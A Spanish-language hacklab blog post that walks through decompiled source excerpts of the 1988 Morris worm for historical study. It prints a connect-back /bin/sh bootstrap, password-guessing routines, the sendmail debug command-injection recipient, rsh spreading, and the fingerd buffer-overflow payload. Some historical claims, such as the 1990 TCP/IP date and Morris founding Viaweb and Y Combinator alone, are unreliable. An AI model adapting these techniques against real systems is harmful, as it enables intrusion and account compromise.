Enviado por magnus el Jue, 08/08/2019 - 14:47
Internet Worm

Estimados hacklabers, el artículo de hoy es de un carácter diferente a los anteriores. Hoy aprenderemos de seguridad informática estudiando sus orígenes: Hace más de 30 años (el 2 de Noviembre de 1988, para ser más precisos) se ejecutó por primera vez un programa que intentaba ser una prueba de concepto sobre la seguridad de la red ARPA pero que acabó siendo el primer gusano de internet, y que al cabo de unas pocas horas infectó el 10% de los servidores de dicha red e inutilizó una cantidad indefinida de computadoras conectadas a ella. 


 

Robert Morris en los 80s.
Robert Tappan Morris en sus épocas de estudiante

El programa fue realizado por Robert Tappan Morris, un joven graduado de Cornell University, que en ese momento tenía 23 años y estaba haciendo el primer año de su doctorado en la misma universidad tras haber pasado brevemente por Harvard. Aparentemente, Robert había expresado su preocupación por el escaso o nulo interés que se mostraba en esa época por la seguridad de ARPANET, que era la espina dorsal de internet en ese momento (y siguió siéndolo hasta la adopción del protocolo TCP/IP en 1990) y como demostración de la vulnerabilidad de esa red, Morris hizo el primer gusano de la historia, explotando vulnerabilidades que había descubierto en comandos de UNIX que siguen existiendo hoy en día, y por ello fue el primer condenado por la ley de Fraude y Abuso Computacional de los EEUU, que había sido sancionada en 1984, pero jamás aplicada; y además, casi sin quererlo, fundó un hito y se convirtió en uno de los padres de la seguridad informática. 

A continuación, analizaremos algunas piezas clave del código de este programa (El cual pueden encontrar completo en su versión decompilada aqui) para entender cómo ocurrió esto, cómo se propagaba, por qué inutilizó tantas computadoras y por qué, gracias a la evolución de la seguridad informática, este programa hoy en día ya no funciona.

Lo primero que tenemos que tener en cuenta es que este gusano se diseñó para funcionar en computadoras VAX (Virtual Address Extended PDP-11) y Sun-3. Eran computadoras con arquitectura de 32bit, los procesadores iban de 16 a 33Mhz y tenían 4 a 32Mb de RAM. El sistema operativo que corrían era o bien SunOS (3 a 4.x) o bien la versión de UNIX hecha por la universidad de Berkeley, California; en otras palabras, BSD (4.x).

El cuerpo principal del gusano consta de apenas 100 líneas de código, y estos son algunos de los fragmentos que me resultaron más interesantes:


main(argc, argv)
char *argv[];
{
    struct sockaddr_in sin;
    int s, i, magic, nfiles, j, len, n;
    FILE *fp;
    char files[20][128];
    char buf[2048], *p;

    unlink(argv[0]);

    if(argc != 4)
        exit(1);

    for(i = 0; i < 32; i++)
        close(i);

    i = fork();

    if(i < 0)
        exit(1);
    if(i > 0)
        exit(0);

Luego de definir las variables, lo primero que hace es desvincular los argumentos del main( ), para que así el programa no aparezca listado al escribir ps en la terminal como lo que realmente es sino como un proceso shell, y como ya ha accedido a los contenidos que necesita, estos están cargados en memoria y puede seguir accediendo a ellos sin problemas. A continuación, con la función fork( ), crea un proceso hijo (saliendo con error si no es posible) que comienza este proceso de nuevo desde cero mientras tanto:


    bzero(&sin, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = inet_addr(argv[1]);
    sin.sin_port = htons(atoi(argv[2]));
    magic = htonl(atoi(argv[3]));

    for(i = 0; i < argc; i++)
         for(j = 0; argv[i][j]; j++)
              argv[i][j] = '\0';

    s = socket(AF_INET, SOCK_STREAM, 0);

    if(connect(s, &sin, sizeof(sin)) < 0){
         perror("l1 connect");
         exit(1);
         }

dup2(s, 1);
dup2(s, 2);
(....)
execl("/bin/sh", "sh", 0);

Modem 80s
Un "acoplador acústico" para un modem hogareño de 1986

se conecta a una dirección provista originalmente como argumento de main (podemos ver como primero limpia el espacio de memoria a utilizar y luego con la función hto* convierte de little a big endian las direcciones de host a dirección de red), para luego limpiar los argumentos del main, sobreescribir el descriptor del proceso de conexión que acaba de abrir y finalmente enmascarar el nombre del gusano con el del shell del sistema operativo con execl( ).
Esta conexión la prensa de la época la describió como un “grappling hook”, es decir un arpeo o garfio que “enganchaba” los archivos desde otra ubicación. Hoy simplemente diríamos que es una descarga de archivos, que lo que hace es bajar desde una máquina ya infectada las otras rutinas que completan el ataque de este gusano. 

El grueso de la explotación de vulnerabilidades se encuentran en el archivo worm.c, que incluye el encabezado worm.h, y es allí donde encontramos la involuntaria peligrosidad de este gusano. Hacia el final del código vemos la siguiente función: 


static report_breakin(arg1, arg2)      
{
    int s;
    struct sockaddr_in sin;
    char msg;    

    if (7 != random() % 15)
        return;    

    bzero(&sin, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_port = REPORT_PORT;
    sin.sin_addr.s_addr = inet_addr(XS("128.32.137.13"));     

    s = socket(AF_INET, SOCK_STREAM, 0);
    if (s < 0)
        return;
    if (sendto(s, &msg, 1, 0, &sin, sizeof(sin)));
    close(s);
}

El bug clave se encuentra en el primer if, en el cual 14 de cada 15 veces que detecta que el gusano ya se encuentra en la máquina de destino, no lo copia. Pero “por si acaso”, Bob decidió que en el 6,6% de las veces el gusano se copiaría igual, en caso de que algún sys admin astuto hubiera creado un programa que reportara un falso positivo para evitar la infección. Lo que Morris no estimó es que con el pequeño tamaño de la red (algunas fuentes mencionan tan poco como 60.000 terminales) y su alto grado de interconexión, cada computadora podía estar recibiendo varios intentos de infección por segundo. Según relatan los ingenieros que trabajaron en la desinfección, los nuevos procesos se creaban más rápido de lo que podían teclear para terminarlos, lo que llevó al colapso de al menos un 10% de toda la red en una noche y que a lo largo de los 4 días que duró la infección, la red era virtualmente inutilizable. 

El resto de la rutina es el protocolo de conexión, que incluye un reporte de éxito que envía un sólo byte de información a la IP 128.32.137.13 (La cual pertenece a la Universidad de Berkeley, California). Segun Morris, la idea original del gusano era copiarse a todas las terminales conectadas a la red para así poder hacer una especie de censo y tener una idea del número total de máquinas en ella. Sin embargo, el resto de su código tiene características (como el enmascaramiento del proceso que vimos antes y otras que veremos a continuación) que dan a entender que él estaba consciente de que era un programa no deseado en las computadoras que infectaba y que era potencialmente dañino, e intentó ocultar su presencia y accionar.
Se piensa que el objetivo real de Morris al poner esta IP era distraer la atención de sí mismo y apuntarla al laboratorio de ciencias de la computación de Berkeley, ya que el programa establece un socket TCP pero luego intenta enviar un datagrama UDP, con lo que finalmente esta función no hace nada. Tal vez fue un error del programador, o tal vez fue intencional, para no alertar a los ingenieros de Berkeley de la existencia de este gusano en caso de que todo fuera bien y no fuera detectada su presencia. La verdad probablemente nunca la sabremos.

En el loop principal de este archivo vemos lo siguiente:


static mainloop()               
{
    long key, time1, time0;
    time(&key);
    srandom(key);
    time0 = key;

    if (hg() == 0 && hl() == 0)
        ha();

    checkother();
    report_breakin();
    cracksome();
    other_sleep(30);

La función checkother( ) la encontramos definida en hs.c y lo que hace es fijarse si hay otra instancia del gusano corriendo. Por otro lado, la función other_sleep( ) lo que hace es aguardar la cantidad especificada de segundos por un contacto de otro gusano que pueda estar presente.
Entre medio de ellas tenemos la función defectuosa que describimos anteriormente, report_breakin( ) y la función cracksome( ), que veremos a continuación: 


cracksome()
{

    switch (cmode){
        case 0:
            strat_0();
            return;                    

    case 1:
          strat_1();
          return;

    case 2:
            try_words();
            return;

    case 3:
            dict_words();
            return;
    }
}

Vemos que lo que hace es probar 4 estrategias.
Strat_0: 


strat_0()                  

{
    (....)

hosteq = fopen(XS("/etc/hosts.equiv"), XS("r"));
if (hosteq != NULL) {           /* 292 */
    while (fscanf(hosteq, XS("%.100s"), scanbuf)) {
        host = h_name2host(scanbuf, 0);
        if (host == 0) {
          host = h_name2host(scanbuf, 1);
          getaddrs(host);
        }

if (host->o48[0] == 0)      
          continue;
        host->flag |= 8;

    }
  fclose(hosteq);              

}

hosteq = fopen(XS("/.rhosts"), XS("r"));
    if (hosteq != NULL) {           /* 516 */
        while (fgets(getbuf, sizeof(getbuf), hosteq)) {
            if (sscanf(getbuf, XS("%s"), scanbuf) != 1)
              continue;
            host = h_name2host(scanbuf, 0);
            while (host == 0) {         
              host = h_name2host(scanbuf, 1);
              getaddrs(host);

        }
            if (host->o48[0] == 0)
              continue;
            host->flag |= 8;
        }
        fclose(hosteq);
}

Aquí lo que vemos es que carga un identificador de archivo en la variable hosteq y guarda la información de cuentas de usuario de la máquina: nombre y apellido del usuario, contraseña encriptada, carpeta de inicio y otros datos útiles que veremos más adelante.
Estos datos son utilizados en la siguiente rutina para intentar adivinar contraseñas, strat_1( )


static strat_1()               
{

    int cnt;
    char usrname[50], buf[50];

    for (cnt = 0; x27f2c && cnt < 50; x27f2c = x27f2c->next) {  
        if ((cnt % 10) == 0)
            other_sleep(0);

Cada diez intentos, chequea si está siendo contactado por otro gusano presente en la máquina   

    if (try_passwd(x27f2c, XS("")))           /* other_fd+84 */
            continue;          

Prueba en la cuenta una contraseña vacía

Y a continuación prueba combinaciones de contraseña como: el nombre del usuario, el nombre y el apellido, dos veces el nombre, el nombre al revés, etc.

    if (strlen(x27f2c->passwd) != 13)
        continue;

    strncpy(usrname, x27f2c, sizeof(usrname)-1);
    usrname[sizeof(usrname)-1] = '\0';

    if (try_passwd(x27f2c, usrname))
        continue;

    sprintf(buf, XS("%.20s%.20s"), usrname, usrname);

    if (try_passwd(x27f2c, buf))
        continue;            

    sscanf(x27f2c->gecos, XS("%[^ ,]"), buf);

    if (isupper(buf[0]))
        buf[0] = tolower(buf[0]);

    if (strlen(buf) > 3  && try_passwd(x27f2c, buf))
        continue;

    buf[0] = '\0';

    sscanf(x27f2c->gecos, XS("%*s %[^ ,]s"), buf);

    if (isupper(buf[0]))
        buf[0] = tolower(buf[0]);

    if (strlen(buf) > 3  && index(buf, ',') == NULL  &&     try_passwd(x27f2c, buf))
        continue;

    reverse_str(usrname, buf);

    if (try_passwd(x27f2c, buf));

}

    if (x27f2c == 0)
        cmode = 2;
    return;
}

KA820 AA
Una unida de procesamiento KA820AA como las que tenían las VAX de fines de los 80s.

Vemos que todo esto lo hace con una función propia llamada try_passwd( ) que, naturalmente, no prueba la contraseña realizando un login, sino que hace uso de la información recabada anteriormente por strat_0() y cada contraseña generada, la encripta y la compara con la contraseña encriptada que se guardó anteriormente. Se estima que el gusano procesaba unas 5 contraseñas por segundo, siendo la parte más intensiva del proceso el encriptamiento, algo en lo que el programa de Morris era excepcionalmente bueno, ya que lo hacía unas 9 veces más rápido que el programa nativo del sistema operativo.

Luego pasa a la tercer estrategia, try_words(), en la que utiliza una serie de 432 palabras que Morris consideró como los passwords más probables o frecuentes en el campus. Entre ellos, algunos que yo personalmente no hubiera elegido, como “gumption” o “imbroglio”, por mencionar un par. La lista completa está en el mismo archivo.

Y como cada una de estas estrategias está en orden decreciente de posibilidad de éxito, la última consiste en conectarse al diccionario ubicado en /usr/dict/words y probar todas las palabras en él, una por una. Esto se estima que con la capacidad de cómputo de la época podría haber llevado un mes. Se desconoce si esta estrategia efectivamente sirvió para vulnerar alguna cuenta.

Luego de estas acciones realizadas por cracksome( ), el loop principal continúa con: 


    if (fork() > 0)
        exit(0);

Como antes, cambia la id del proceso, y si no puede, sale del programa.  Luego invoca cuatro funciones, ha( ), hg( ), hi( ) y hl( ) y aguarda dos minutos:


   if (hg() == 0 && hi() == 0 && ha() == 0)
         hl();

   other_sleep(120);

Estas cuatro funciones buscan hosts vulnerables para infectar. No adjunto aquí el código (el cual forma parte de hs.c) porque simplemente son bucles for que recorren listas de direcciones.
En el caso de hg( ), son direcciones que el programa identificó como posibles gateways, lo cual lo hace con una función propia llamada rt_init( ) (la cual se encuentra en net.c)  y que lo que hace es correr el comando “netstat -r -n” y tomar las IPs listadas, descartando el loopback (127.0.0.1), any (0.0.0.0) y cualquier interfaz de red propia de la máquina, en caso de que la máquina misma sea un gateway.
La función hi( ) toma los datos recolectados por str_0( ) durante la llamada a cracksome( ), que de los archivos hosts.equiv y .rhosts recogió la lista de usuarios con permiso de acceso sin autenticación y la lista de usuarios remotos con permisos elevados respectivamente y de la lista de usuarios de .forward identifica como potenciales víctimas a los usuarios que reciben mails reenviados desde el equipo.
Finalmente, ha( ) y hl( ) buscan hosts en la red del gateway la red local tomando la subred y cambiando el número final de la IP. 

Ahora bien, estas cuatro funciones directa o indirectamente hacen llamados a algunas funciones que, en mi opinión, son de lo más interesante que tiene este programa, y las cuales las encontramos definidas también en hs.c. Dichas funciones son try_telnet_p( ), try_rsh_and_mail( ), talk_to_sh( ) y try_finger( ):

La función try_rsh_and_mail( ) llama a una función llamada try_mail( ) que me resulta sencillamente genial: 


static try_mail(host)          
 struct hst *host;
{
(.......) /*definición de variables*/
   

    if (makemagic(host, &saddr) == 0)
        return 0;

    old_handler = signal(SIGALRM, justreturn);

    for( i = 0; i < 6; i++) {          
        if (host->o48[i] == NULL)
            continue; 
        s = socket(AF_INET, SOCK_STREAM, 0);
        if (s < 0)
            continue; 

        bzero(&sin, sizeof(sin));      
        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = host->o48[i];
        sin.sin_port = IPPORT_SMTP;    

    alarm(10);
   
        if (connect(s, &sin, sizeof(sin)) < 0) {
            alarm(0);
            close(s);
            continue;              
            }
        alarm(0);
        break;
    }    

    if (i < 6)
        return 0;                

    if (x50bc( s, l548) != 0 || l548[0] != '2')
        goto bad;

        send_text(s, XS("debug"));      
    if (x50bc( s, l548) != 0 || l548[0] != '2')
        goto bad;    

#define MAIL_FROM "mail from:</dev/null>\n"
#define MAIL_RCPT "rcpt to:<\"| sed \'1,/^$/d\' | /bin/sh ; exit 0\">\n"    

    send_text(s, XS(MAIL_FROM));
   
    if (x50bc( s, l548) != 0 || l548[0] != '2')
        goto bad;

    i = (random() & 0x00FFFFFF);    

    sprintf(l548, XS(MAIL_RCPT), i, i);
    send_text(s, l548);

    if (x50bc( s, l548) != 0 || l548[0] != '2')
        goto bad;    

    (.......)

    close(s);
    return 0;
}

VAX 8000
Una VAX de 1987, cariñosamente llamadas "pizza box" por la
forma de sus gabinetes.

Esta función abusa de una característica del comando sendmail y de un descuido de los desarrolladores. La característica es la posibilidad que tiene sendmail de enviar un correo a un proceso en lugar de a un archivo de correo. Esto se pensó para poder crear filtros o programas que respondan a la recepción de correos, por ejemplo, hacer correr un proceso enviando un correo con un texto determinado a una dirección de correo especial, o responder automáticamente correos cuando uno no está en la oficina. El descuido consistió en que sendmail aceptaba comandos como nombre de destinatario si había sido compilado con el flag -debug, y casualmente la versión de sendmail incluida en las computadoras SUN3 y VAX había sido compilada por defecto de esta manera.
En negrita vemos resaltado en el código el exploit que abusa de este descuido: el remitente es /dev/null y el destinatario es /bin/sh, la consola de comandos, junto con una serie de caracteres cuya función es borrar el encabezado del correo, ya que en el cuerpo del mensaje tenemos el código que es ejecutado por dicha consola.  Ese código consiste en el código base del gusano, junto con los parámetros e instrucciones de compilación.

La otra función invocada por try_rsh_and_mail( ) es fork_rsh( ):


static fork_rsh(host, fdp1, fdp2, str)      
(.....) /*definición de variables globales*/
{
(.....) /*definición de variables locales*/    

    if (pipe(fildes) < 0)
        return 0;

    if (pipe(fildes1) < 0) {
        close(fildes[0]);
        close(fildes[1]);
        return 0;
        }

        child = fork();

    if (child < 0) {
        close(fildes[0]);
        close(fildes[1]);
        close(fildes1[0]);
        close(fildes1[1]);
        return 0;
        }

    if (child == 0) {
        for (fd = 0; fd < 32; fd++)
            if (fd != fildes[0] && fd != fildes1[1] && fd != 2)
              close(fd);
          dup2(fildes[0], 0);
        dup2(fildes[1], 1);
        if (fildes[0] > 2)
            close(fildes[0]);
        if (fildes1[1] > 2)
            close(fildes1[1]);

    execl(XS("/usr/ucb/rsh"), XS("rsh"), host, str, 0);
    execl(XS("/usr/bin/rsh"), XS("rsh"), host, str, 0);
    execl(XS("/bin/rsh"), XS("rsh"), host, str, 0);
    exit(1);

    }

    close(fildes[0]);
    close(fildes1[1]);
    *fdp1 = fildes1[0];
    *fdp2 = fildes[1];    

    if (test_connection(*fdp1, *fdp2, 30))
        return 1;              

    close(*fdp1);
    close(*fdp2);
    kill(child, 9);
    sleep(1);
    wait3(0, WNOHANG, 0);
    return 0;
}
static test_connection(rdfd, wrfd, time)          
int rdfd, wrfd, time;
{
    char combuf[100], numbuf[100];
    sprintf(numbuf, XS("%d"), random() & 0x00ffffff);
    sprintf(combuf, XS("\n/bin/echo %s\n"), numbuf);
    send_text(wrfd, combuf);
    return wait_for(rdfd, numbuf, time);
}


Confieso que esta fue la parte que más me costó comprender, pero lo que vemos aquí, resaltado en negrita, es el momento en que el programa testea la conexión por rsh, siendo el resto del código mayormente para armar correctamente el pipeline para que la conexión reciba los datos de manera correcta. El gusano hace esto esperando que en el host remoto haya un usuario con el mismo nombre que en el host local que a su vez tenga los permisos necesarios. Esto lo hace, por ejemplo, buscando usuarios en el archivo .forward e intentando conectarse al host remoto de esos usuarios, pero también con usuarios triviales, como daemon, guest, system, etc, como podemos ver revisando la manera en que esta función es invocada en distintos momentos.

Hoy en día la conexión a través de pseudousuarios ya no es posible, sin embargo, la duplicidad o multiplicidad de usuarios en diferentes hosts sigue siendo muy frecuente y representa una paradoja de la seguridad: si a las personas se les exige que utilicen un usuario diferente en cada terminal a la que deben acceder, lo más probable es que acaben repitiendo contraseñas y/o escribiendo sus usuarios y contraseñas en papeles que terminarán dando vueltas por sus escritorios, siendo un problema de seguridad aún más grave que el que se intentaba evitar.

La última pieza de código que discutiremos es, a mi parecer, la más elegante de todo el programa, ya que utiliza un código extremadamente sencillo para abusar de un daemon normalmente inocuo, el del servicio finger: 


static try_finger(host, fd1, fd2)      
struct hst *host;
int *fd1, *fd2;
{
    int i, j, l12, l16, s;
    struct sockaddr_in sin;          
    char unused[492];
    int l552, l556, l560, l564, l568;
    char buf[536];              
    int (*save_sighand)();          

    save_sighand = signal(SIGALRM, justreturn);

    for (i = 0; i < 6; i++) {          
        if (host->o48[i] == 0)
        continue;              
        s = socket(AF_INET, SOCK_STREAM, 0);
        if (s < 0)
                continue;
        bzero(&sin, sizeof(sin));
        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = host->o48[i];
        sin.sin_port = IPPORT_FINGER;
        alarm(10);
        if (connect(s, &sin, sizeof(sin)) < 0) {
            alarm(0);
                close(s);
                continue;
                }
        alarm(0);
        break;
        }

if (i >= 6)
        return 0;                

for(i = 0; i < 536; i++)          
        buf[i] = '\0';

for(i = 0; i < 400; i++)
        buf[i] = 1;

for(j = 0; j < 28; j++)
        buf[i+j] ="\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\ 256\343\350\357\256\362\351"[j];                              
    l556 = 0x7fffe9fc;              
    l560 = 0x7fffe8a8;
    l564 = 0x7fffe8bc;
    l568 = 0x28000000;
    l552 = 0x0001c020;

#ifdef sun

    l556 = byte_swap(l556);          
    l560 = byte_swap(l560);          
    l564 = byte_swap(l564);
    l568 = byte_swap(l568);
    l552 = byte_swap(l552);

#endif sun

    write(s, buf, sizeof(buf));
    write(s, XS("\n"), 1);
    sleep(5);

    if (test_connection(s, s, 10)) {
        *fd1 = s;
        *fd2 = s;
        return 1;
        }

    close(s);
    return 0;
}


En este código es sumamente importante la manera en que están declaradas las variables. Como podemos ver, las variables enteras l552 a l568 están declaradas junto al buffer de 536 bytes buf[ ]. Este buffer, hacia el final del código es cargado con un payload y luego es transmitido hacia el puerto de escucha del servicio finger. Cabe destacar la precaución que tuvo el programador al considerar que la memoria de las computadoras SUN y las VAX tenían diferente endianness, por lo que invierte los bytes para el payload en computadoras SUN.

El servicio finger no es muy utilizado hoy en día, pero era prácticamente el twitter de aquellas épocas: El daemon fingerd escucha en el puerto TCP 79 y ante el requisito de un cliente finger, transmite el contenido de dos archivos, .project y .plan, ubicados en el directorio home del usuario consultado, informando al consultante del nombre del usuario, su correo de contacto, sus actividades actuales, etc. Usualmente, los usuarios mantenían estos archivos actualizados con los progresos en sus trabajos (tengamos en cuenta que en aquellas épocas, internet era una red usada casi exclusivamente por científicos, académicos y estudiantes universitarios de grado o posgrado)  y frecuentemente también algún comentario nerd o simpático sobre sí mismos o sus trabajos. Por esto, era muy común encontrar el puerto 79 abierto y escuchando, y el daemon finger tiene privilegios de lectura y descarga de archivos, y esto fue precisamente lo que Morris explotó con su gusano.
El daemon finger tiene un buffer interno de 512 bytes, pero aquella versión aún no chequeaba que la información recibida tuviera 512 bytes o menos. Entonces, la información enviada por este gusano que, como vemos en el código anterior, tiene 536 bytes acaba desbordando en 24 bytes el buffer y las variables l552 a l568, que aparentemente no son utilizadas en el código en ningún momento, en realidad son pasadas en el pipeline, ya que son contiguas en memoria y, como vemos, I568 concluye con 0000, indicando el final del stream. Lo que se logra con esto es que finger ejecute un shell vacío (Lo vemos en fragmentos del payload como /bin/sh) y descargue una copia del gusano y la ejecute en el shell antes mencionado. 

A pesar de todas las elaboradas estrategias que vimos en otros lugares de este programa, fue esta técnica, un común overflow de buffer realizado de manera inteligente y elegante, la que acabó siendo el vector de infección más exitoso del gusano. 

De esta manera concluye este artículo que pretendía ser una revisión sucinta del código del primer gusano de internet, pero que acabó siendo más largo de lo esperado. Quedan fuera de este algunos temas que me hubiera gustado tratar, pero que invito a ustedes, lectores agudos y curiosos, a investigar por su cuenta leyendo el código fuente original. Por ejemplo, la cantidad de variables declaradas e inicializadas pero jamás invocadas que podemos encontrar en los distintos archivos, piezas de código y algoritmos comentados o no finalizados, incluso alguna función completada pero jamás invocada… ¿Era acaso esta apenas una versión Beta? ¿Cuáles creen que eran los planes de Morris para la versión final? ¿Cuál hubiera sido el impacto en caso de haberla terminado? ¿Son estos fragmentos de código y bugs producto de que Morris hizo el programa velozmente in situ, como visitante del MIT, o acaso lo hizo en su propia computadora y sólo estaba testeándolo en el MIT pensando que la red local era un entorno controlado y el gusano se salió de control? Los invito a comentar sus opiniones aquí o en nuestras redes sociales, Facebook y Twitter, o pueden unirse a la charla en Discord y el foro.


 

Epílogo:

Robert Morris 2008
Robert Tappan Morris en 2008

Como mencioné a comienzos del artículo, a raiz de este gusano Robert Morris fue enjuiciado y dos años después fue condenado a pagar más de 10.000 dólares de multa y costes judiciales y a cumplir 3 años en libertad condicional, en los que tuvo que cumplir 400 horas de servicio comunitario. Sólo fue atrapado porque al ver que su programa se había salido de control, huyó a la casa de sus padres, y su padre, Robert Morris Sr. (un hombre extraordinario que amerita un artículo aparte, ya que por ejemplo años después coordino los ataques informáticos de EEUU a Saddam Hussein) lo persuadió de entregarse y colaborar con la solución del problema. 5 años después de esto, ya en 1995, fundó Viaweb, una empresa que mantenía una aplicación web para crear tiendas virtuales, probablemente la primera de su tipo y con la particularidad de que fue programada en Lisp. Tres años después la vendió a Yahoo! por casi 50 millones de dólares y al año siguiente concluyó su PhD en Harvard y fundó The Y Combinator, una incubadora de proyectos informáticos, donde busca jóvenes talentos con ideas innovadoras. Algunas empresas en las que invirtió con esta incubadora son, por ejemplo: Dropbox, Airbnb, Reddit y Docker, entre muchas otras. Apenas un año después de fundarla, fue contratado como profesor a perpetuidad por el MIT, la misma universidad en la que liberó por primera vez su gusano, el primero del mundo, 18 años atrás. 

 

Acerca del autor

Administrador de sistemas Linux.
Administrador de redes.
Programador en los ratos libres.
Técnico electrónico.

...me gusta desarmar cosas...

Comentarios